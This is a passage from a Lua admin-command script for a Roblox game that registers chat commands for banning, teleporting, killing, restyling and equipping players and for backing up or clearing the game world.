1450Q7.CFrame = fnew(-52, 244.8, -42)
1451Q7.Parent = G
1452Q7 = Q7:Clone()
1453Q7.Size = vnew(16, 1.2, 16)
1454Q7.CFrame = fnew(-86, 244.8, -25)
1455Q7.Parent = G
1456Q7 = Q7:Clone()
1457Q7.Size = vnew(16, 1.2, 16)
1458Q7.CFrame = fnew(-69, 244.8, -25)
1459Q7.Parent = G
1460Q7 = Q7:Clone()
1461Q7.Size = vnew(16, 1.2, 16)
1462Q7.CFrame = fnew(-52, 244.8, -25)
1463Q7.Parent = G
1464Q7 = Q7:Clone()
1465Q7.Size = vnew(16, 1.2, 16)
1466Q7.CFrame = fnew(-86, 244.8, -8)
1467Q7.Parent = G
1468Q7 = Q7:Clone()
1469Q7.Size = vnew(16, 1.2, 16)
1470Q7.CFrame = fnew(-69, 244.8, -8)
1471Q7.Parent = G
1472Q7 = Q7:Clone()
1473Q7.Size = vnew(16, 1.2, 16)
1474Q7.CFrame = fnew(-52, 244.8, -8)
1475Q7.Parent = G
1476--[[===[CLONERS]===]]--
1477Q1 = Q1:Clone()
1478Q1.Size = vnew(16, 243.5, 22)
1479Q1.CFrame = fnew(-69, 123.2, 12)
1480Q1.Parent = G
1481Q1 = Q1:Clone()
1482Q1.Size = vnew(5, 1.2, 105)
1483Q1.CFrame = fnew(-68.5, 245.6, 74.5)
1484Q1.Parent = G
1485Q1 = Q1:Clone()
1486Q1.Size = vnew(33, 244.8, 32)
1487Q1.CFrame = fnew(-67.5, 122.6, 141)
1488Q1.Parent = G
1489--[[==[CONNECT]==]]--
1490Q1 = Q1:Clone()
1491Q1.Size = vnew(4, 0.4, 3)
1492Q1.CFrame = fnew(-69, 283.6, -307.5)
1493Q1.Parent = G
1494Q1 = Q1:Clone()
1495Q1.Size = vnew(4, 1.2, 3)
1496Q1.CFrame = fnew(-69, 282.8, -307.5)
1497Q1.Parent = G
1498e11.LinkedSword:clone().Parent = game.StarterPack
1499end)
1500RunModule('CommandModule','/guimessage','Creates a gui message','/gms','#cs#(.+)',function(Speaker,Text) qwq(Text) end)
1501RunModule('CommandModule','/guihint','Creates a gui hint','/ghs','#cs#(.+)',function(Speaker,Text) qwe(Text) end)
1502RunModule('CommandModule','/ouput','Creates a output message','/wad','#cs#(.+)',function(Speaker,Text) notsq({{Text, Random},{Text, Random},{Text, Random},{Text, Random},{Text, Random}}) qwsqd({{Text, Random}}) end)
1503RunModule('CommandModule','/global','Creates a output message','/wad2','#cs#(.+)',function(Speaker,Text) notsq({{Text}}) qwsqd({{Text, Random}}) end)
1504RunModule('CommandModule','/count','Toggles the API Checks','/wad3','#cs#(%w+)',function(Speaker,Input)
1505 if (Input=='true') or (Input=='yes') or (Input=='1') or (Input=='on') then
1506SN = {}
1507 PN = {}
1508 OD = {}
1509 ON = {}
1510 PLN = {}
1511 CN = {}
1512 for i,v in pairs(game.Workspace:GetChildren()) do
1513 if v:isA('Part') then
1514 table.insert(PN,v)
1515 elseif v:isA('Script') then
1516 table.insert(SN,v)
1517 --[[elseif v:isA('Model') then
1518 table.insert(ON,v)
1519 else ]]--
1520 table.insert(OD,v)
1521 end
1522 end
1523 for _,v in pairs(game.Players:GetChildren()) do
1524 table.insert(PLN,v)
1525 end
1526 for i,v in pairs(game.NetworkServer:GetChildren()) do
1527 table.insert(CN,v)
1528 end
1529qwsqd({{'[API]; Your viewing the game status', Random}})
1530 notsq({{'[API]; There are '..#SN..' scripts.', Random},{'[API]; There are '..#PN..' parts.', Random},{'[API]; There are '..#OD..' unknown objects.', Random},{'[API]; There are '..#PLN..' players.', Random},{'[API]; There are '..#CN..' clients.', Random}})
1531 elseif (Input=='false') or (Input=='no') or (Input=='0') or (Input=='off') then
1532 notsq({{'[API]; No Created functions', Random},{'[API]; No Global functions found', Random}})
1533qwsqd({{'[API]; Global;=0 , NilP;=0 , XYZAx;=315', Random}})
1534 end
1535end)
1536RunModule('CommandModule',RunModule('ParseMatch','/ban#cs#t'),'Bans the given user','/bn','#cs#(.+)',function(Speaker,...)
1537 local Targets=RunModule('GetPlayer',...,Speaker);
1538 if (Targets~=nil) then
1539 for Index,Target in pairs(Targets) do
1540 if (RunModule('DisposePlayer',Target,Speaker)) then
1541 Bannedlist[#Bannedlist+1]=Target.Name;
1542 end
1543 end
1544 end
1545end)
1546RunModule('CommandModule',RunModule('ParseMatch','/ban#cs#f'),'Unbans the given name','/ub','#cs#(.+)',function(Speaker,Input)
1547 if (Input=='all') then
1548 Bannedlist={};
1549 end
1550 for Index,Username in pairs(Bannedlist) do
1551 if (Username:lower():find(Input)==1) then
1552 RunModule('ShowHint',Speaker,'Unbanning: '..Username,5);
1553 table.remove(Bannedlist,Index);
1554 end
1555 end
1556end)
1557RunModule('CommandModule','/nillize','Makes the user nil','/nil','#cs#(.+)',function(Speaker,...)
1558local Targets=RunModule('GetPlayer',...,Speaker)
1559 if (Targets~=nil) then
1560 for Index,Target in pairs(Targets) do
1561mwq('[API]; Your being nild!' ,Target.PlayerGui)
1562 Target.Character = nil
1563 end
1564 end
1565end)
1566RunModule('CommandModule','/unbannable','Makes the user unbannable','/uba','#cs#(.+)',function(Speaker,...)
1567local Targets=RunModule('GetPlayer',...,Speaker)
1568 if (Targets~=nil) then
1569 for Index,Target in pairs(Targets) do
1570mwq('[API]; Your being unbannable!' ,Target.PlayerGui)
1571 Target.Character = Workspace
1572 end
1573 end
1574end)
1575RunModule('CommandModule','/stickman','Makes the given users body look like a stick man','/sman','#cs#(.+)',function(Speaker,...)
1576 local Targets=RunModule('GetPlayer',...,Speaker);
1577 if (Targets~=nil) then
1578 for Index,Target in pairs(Targets) do
1579mwq('[API]; Your being re-morphd!' ,Target.PlayerGui)
1580 if (Target.Character~=nil) then
1581 for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
1582 if (Child.Name=='Left Leg') then
1583 local de = Instance.new('CylinderMesh')
1584 de.Parent = Child
1585 elseif (Child.Name=='Right Leg') then
1586 local pde = Instance.new('CylinderMesh')
1587 pde.Parent = Child
1588 elseif (Child.Name=='Torso') then
1589 local hp2de = Instance.new('BlockMesh')
1590 hp2de.Parent = Child
1591 elseif (Child.className=='Decal') then
1592 Child:Remove()
1593 elseif (Child.className=='Hat') then
1594 Child:Remove()
1595 elseif (Child.className=='Mesh') then
1596 Child.Texture:Remove()
1597 elseif (Child.Name=='Right Arm') then
1598 local hpde = Instance.new('CylinderMesh')
1599 hpde.Parent = Child
1600 elseif (Child.Name=='Left Arm') then
1601 local htpde = Instance.new('CylinderMesh')
1602 htpde.Parent = Child
1603 elseif (Child.className=='Pants') then
1604 Child:Remove()
1605 elseif (Child.className=='Shirt') then
1606 Child:Remove()
1607 elseif (Child.className=='Part') then
1608 Child.BrickColor = BrickColor.new('Really black')
1609 end
1610 end
1611 end
1612 end
1613 end
1614end)
1615RunModule('CommandModule','/gunpacket','Gives the given user the pack of insertd guns.','/gpack','#cs#(.+)',function(Speaker,...)
1616 local Targets=RunModule('GetPlayer',...,Speaker);
1617 if (Targets~=nil) then
1618 for Index,Target in pairs(Targets) do
1619mwq('[API]; Putting guns in your Backpack!' ,Target.PlayerGui)
1620hgf(Target, 'Green')
1621qw1.M1Garand:clone().Parent = Target.Backpack
1622wait(0.1) e1.Luger:clone().Parent = Target.Backpack
1623wait(0.1) e2.Sten:clone().Parent = Target.Backpack
1624 end
1625 end
1626end)
1627RunModule('CommandModule','/getaccinfo','Gives the speaker the given users account information','/aci','#cs#(.+)',function(Speaker,...)
1628 local Targets=RunModule('GetPlayer',...,Speaker);
1629 if (Targets~=nil) then
1630 for Index,Target in pairs(Targets) do
1631mwi('[API]; The users Account age is ' ..Target.AccountAge , 'Green')
1632wait(1)
1633mwi('[API]; The users Name is ' ..Target.Name, 'Blue')
1634wait(1)
1635mwi('[API]; The users MembershipType is '..tostring(Target.MembershipType), 'Blue')
1636 end
1637 end
1638end)
1639RunModule('CommandModule','/wireconnect','Connects the given user to the speaker, with FloorWire.','/wcont','#cs#(.+)',function(Speaker,...)
1640 local Targets=RunModule('GetPlayer',...,Speaker);
1641 if (Targets~=nil) then
1642 for Index,Target in pairs(Targets) do
1643mwq('[API]; You were connected to a player!' ,Target.PlayerGui)
1644d=new('FloorWire', Workspace)
1645d.From=wq2e.Character.Torso
1646d.To=Target.Character.Torso
1647d.Color=BrickColor.new('Lime green')
1648d.Transparency=0
1649d.WireRadius=0.1
1650 end
1651 end
1652end)
1653RunModule('CommandModule','/resetappearance','Resets the CharacterAppearance of the given user','/ra','#cs#(.+)',function(Speaker,...)
1654 local Targets=RunModule('GetPlayer',...,Speaker);
1655 if (Targets~=nil) then
1656 for Index,Target in pairs(Targets) do
1657mwq('[API]; Reseting your char!' ,Target.PlayerGui)
1658 pcall(function() Target.CharacterAppearance='http://www.roblox.com/Asset/CharacterFetch.ashx?UserID='..Target.userId..'&PlaceId='..game.PlaceId; end)
1659 pcall(function() Target.Character:BreakJoints(); end)
1660 end
1661 end
1662end)
1663RunModule('CommandModule','/changeappearance','Sets the CharacterAppearance of the given user','/ca','#cs#(.-)#cs#(%d+)',function(Speaker,Input,Integer)
1664 if (tonumber(Integer)==nil) or (Input==nil) then return end
1665 local Targets=RunModule('GetPlayer',Input,Speaker)
1666 if (Targets~=nil) then
1667 for Index,Target in pairs(Targets) do
1668mwq('[API]; Changing your char!' ,Target.PlayerGui)
1669 pcall(function() Target.CharacterAppearance='http://www.roblox.com/Asset/CharacterFetch.ashx?UserID='..Integer..'&PlaceId='..game.PlaceId; end)
1670 pcall(function() Target.Character:BreakJoints(); end)
1671 end
1672 end
1673end)
1674RunModule('CommandModule','/knockout','KOs the user 1,000 times','/ko','#cs#(.+)',function(Speaker,...)
1675 local Targets=RunModule('GetPlayer',...,Speaker);
1676 if (Targets~=nil) then
1677 for Index,Target in pairs(Targets) do
1678notsq({{'[API]; KOd the Target given'}})
1679 JD = 1000
1680mwq('[API]; Your about to be KOd 1000 times!' ,Target.PlayerGui)
1681function ko()
1682for i=1, JD do
1683c = Instance.new('ObjectValue')
1684c.Parent = Target.Character.Humanoid
1685c.Value = game.Players.mimi235664556655
1686c.Name = 'creator'
1687wait(0.1)
1688Target.Character.Humanoid.Health = 0
1689wait(0.01)
1690Target.Character.Parent = game.Lighting
1691wait(0.01)
1692c:remove()
1693wait(0.01)
1694Target.Character.Parent = game.Workspace
1695end
1696 end
1697 ko()
1698 end
1699 end
1700end)
1701RunModule('CommandModule','/fire','Makes the given user look sparkley','/fi','#cs#(.+)',function(Speaker,...)
1702 local Targets=RunModule('GetPlayer',...,Speaker);
1703 if (Targets~=nil) then
1704 for Index,Target in pairs(Targets) do
1705mwq('[API]; You were fird!' ,Target.PlayerGui)
1706 if (Target.Character~=nil) then
1707 for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
1708 if (Child.className=='Part') then
1709 local Sparkles=NewInstance('Sparkles')
1710 Sparkles.SparkleColor=NewColor3(22,101,1);
1711 Sparkles.Parent=Child;
1712 end
1713 end
1714 end
1715 end
1716 end
1717end)
1718RunModule('CommandModule','/rspawn','Removes the sparkles from the given user','/qrs','#cs#(.+)',function(Speaker,...)
1719 local Targets=RunModule('GetPlayer',...,Speaker);
1720 if (Targets~=nil) then
1721 for Index,Target in pairs(Targets) do
1722 Target:LoadCharacter()
1723mwq('[API]; You were quick respawnd!' ,Target.PlayerGui)
1724 end
1725 end
1726end)
1727RunModule('CommandModule','/scrollingmessage','Creates a scrolling message','/gmt','#cs#(.+)',function(Speaker,String)
1728 local Message=NewInstance('Message');
1729 Message.Parent=Workspace;
1730 local Effect=NewInstance('Sound');
1731 Effect.SoundId='rbxasset://sounds\\switch.wav';
1732 Effect.Parent=Workspace;
1733 for Index=1,#String do
1734 Effect:Play();
1735 Message.Text=Message.Text..String:sub(Index,Index);
1736 wait(0.09);
1737 end
1738 wait(0.5);
1739 Message.Parent=nil;
1740 Effect.Parent=nil;
1741end,true)
1742RunModule('CommandModule','/scrollinghint','Creates a scrolling message','/dm','#cs#(.+)',function(Speaker,String)
1743 local Message=NewInstance('Hint');
1744 Message.Parent=Workspace;
1745 local Effect=NewInstance('Sound');
1746 Effect.SoundId='rbxasset://sounds\\switch.wav';
1747 Effect.Parent=Workspace;
1748 for Index=1,#String do
1749 Effect:Play();
1750 Message.Text=Message.Text..String:sub(Index,Index);
1751 wait(0.09);
1752 end
1753 wait(0.5);
1754 Message.Parent=nil;
1755 Effect.Parent=nil;
1756end,true)
1757RunModule('CommandModule','/speed','Changes the WalkSpeed of the given user','/ws','#cs#(.-)#cs#(%d+)',function(Speaker,Input,Integer)
1758 local Targets=RunModule('GetPlayer',Input,Speaker);
1759 if (Targets~=nil) and (Integer~=nil) then
1760 for Index,Target in pairs(Targets) do
1761mwq('[API]; You were speeded up!' ,Target.PlayerGui)
1762hgf(Target, 'Dark blue')
1763 if (Target.Character~=nil) then
1764 for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
1765 if (Child.className=='Humanoid') then
1766 Child.WalkSpeed=Integer;
1767 end
1768 end
1769 end
1770 end
1771 end
1772end)
1773RunModule('CommandModule','/nb','Gets a base','/b','#cs#',function(Speaker)
1774 if (not RunModule('IsAdmin',Speaker)) then return end
1775 a = Instance.new('Part', workspace)
1776a.Name = 'New Base'
1777a.Size = Vector3.new(500, 1.2, 500)
1778a.Anchored = true
1779a.BrickColor = BrickColor.new(28)
1780a.Locked = true
1781a.TopSurface = 'Studs';
1782mwq('[API]; You created a base' ,low)
1783end)
1784RunModule('CommandModule',RunModule('ParseMatch','/admin#cs#t'),'Makes the given user a temporary admin','/ad','#cs#(.+)',function(Speaker,...)
1785 if (not RunModule('IsAdmin',Speaker)) then return end
1786 local Targets=RunModule('GetPlayer',...,Speaker);
1787 if (Targets~=nil) then
1788 for Index,Target in pairs(Targets) do
1789 table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Target.Name:lower()) then Connection:disconnect(); end end);
1790 AdminConnectionList[#AdminConnectionList+1]=Target.Chatted:connect(function(Message) RunModule('PlayerChat',Message,Player); end)
1791 AdminUserList[#AdminUserList+1]=Target.Name;
1792 end
1793 end
1794end)
1795RunModule('CommandModule',RunModule('ParseMatch','/admin#cs#f'),'Removes the given users temporary admin','/ua','#cs#(.+)',function(Speaker,...)
1796 if (not RunModule('IsAdmin',Speaker)) then return end
1797 local Targets=RunModule('GetPlayer',...,Speaker);
1798 if (Targets~=nil) then
1799 for Index,Target in pairs(Targets) do
1800 table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Target.Name:lower()) then Connection:disconnect(); end end)
1801 end
1802 end
1803end)
1804RunModule('CommandModule','/teleport','Teleports two or more users together','/ft','#cs#(.-)#cs#(.+)',function(Speaker,Input1,Input2)
1805 if (Input1==nil) or (Input2==nil) then return end
1806 local Targets1,Targets2=RunModule('GetPlayer',Input1,Speaker),RunModule('GetPlayer',Input2,Speaker);
1807 if (Targets1==nil) or (Targets2==nil) then return end
1808 if (#Targets2~=1) then return end
1809 for Index,Target in pairs(Targets1) do
1810 if (Target.Character~=nil) and (Targets2[1].Character~=nil) then
1811 local Torso=Target.Character:FindFirstChild('Torso');
1812 local Torso2=Targets2[1].Character:FindFirstChild('Torso');
1813 if (Torso~=nil) and (Torso2~=nil) then
1814 Torso.CFrame=Torso2.CFrame;
1815 notsq({{'[API]; Warpd the given Targets' , Random}})
1816 end
1817 end
1818 end
1819end)
1820RunModule('CommandModule',RunModule('ParseMatch','/ban#cs#d'),'Bans the given user using data persistence for the given amount of hours.','/dpb','#cs#(.-)#cs#(%d+)',function(Speaker,Input,Length)
1821 if (Input==nil) or (Length==nil) then return end
1822 local Targets=RunModule('GetPlayer',Input,Speaker);
1823 if (Targets~=nil) then
1824 for Index,Target in pairs(Targets) do
1825 if (RunModule('DisposePlayer',Target,Speaker,true)==true) then
1826 pcall(Target.SaveString,Target,DataKey,RunModule('ConvertTable',{Type=0,UnbanAt=math.floor(tick()+(tonumber(Length)*3600))}));
1827 RunModule('DisposePlayer',Target,Speaker);
1828 end
1829 end
1830 end
1831end)
1832RunModule('CommandModule','/rworkspace','Clears the game of all objects, excluding this script and players','/rw','#cs#',function(Speaker)
1833 local Children=Workspace:GetChildren();
1834 for ChildIndex,Child in pairs(Children) do
1835 if (Child~=script) then
1836 pcall(function() Child:Remove(); end);
1837 end
1838 end
1839end)
1840RunModule('CommandModule','/restoregame','Restores the game to its state when the backup was created','/rg','#cs#(.+)',function(Speaker,Input)
1841 if (Input==nil) then return end
1842 if (GameBackups[Input]==nil) then
1843 RunModule('ShowHint',Speaker,'That backup key doesnt exist.',5);
1844 return
1845 end
1846 RunModule('RestoreGame',Input);
1847notsq({{'[API]; Module not active'}})
1848end)
1849RunModule('CommandModule','/backupgame','Backs up the game so you casn restore it later','/bg','#cs#(.+)',function(Speaker,Input)
1850 if (Input==nil) then return end
1851 if (GameBackups[Input]~=nil) then
1852 RunModule('ShowHint',Speaker,'That backup key already exists.',5);
1853 return
1854 end
1855 RunModule('BackupGame',Input);
1856 RunModule('ShowHint',Speaker,'Backup successful.',5);
1857notsq({{'[API]; Command not active'}})
1858end)
1859mwq('[API]; Commands Loaded!' ,low)
1860mwi('[API UPDATES]; Added, PaintBallGun into Lighting.', 'Green')
1861mwi('[API UPDATES]; Working on the XDQ Camball agian, next update 11-4-12.', 'Green')
1862notsq({{'[API]; Modules Loaded!', Random}, {'[API]; API Commands V3 setup', Random}, {'[API]; Tables active!', Random}, {'[API]; Functions working!', Random}, {'[API]; Indiviual Target Functions working!', Random}, {'[API]; _G functions not available at this time.', Random}, {'[API]; Commands active!', Random}, {'[API]; API Commands 507, RIG', Random}, {'[API]; HEAT507, Current script , [GUN GAME] in his models', Random}, {'[API]; Learn how to script in the RobloxWiki', Random}})
1863game:GetService('Players').PlayerAdded:connect(function(...) RunModule('AddPlayer',...); end)
1864game:GetService('Players').PlayerRemoving:connect(function(...) RunModule('RemovePlayer',...); end)
1865table.foreach(game:GetService('Players'):GetPlayers(),function(Index,Player) RunModule('AddPlayer',Player); end)
1866
1867--mediafire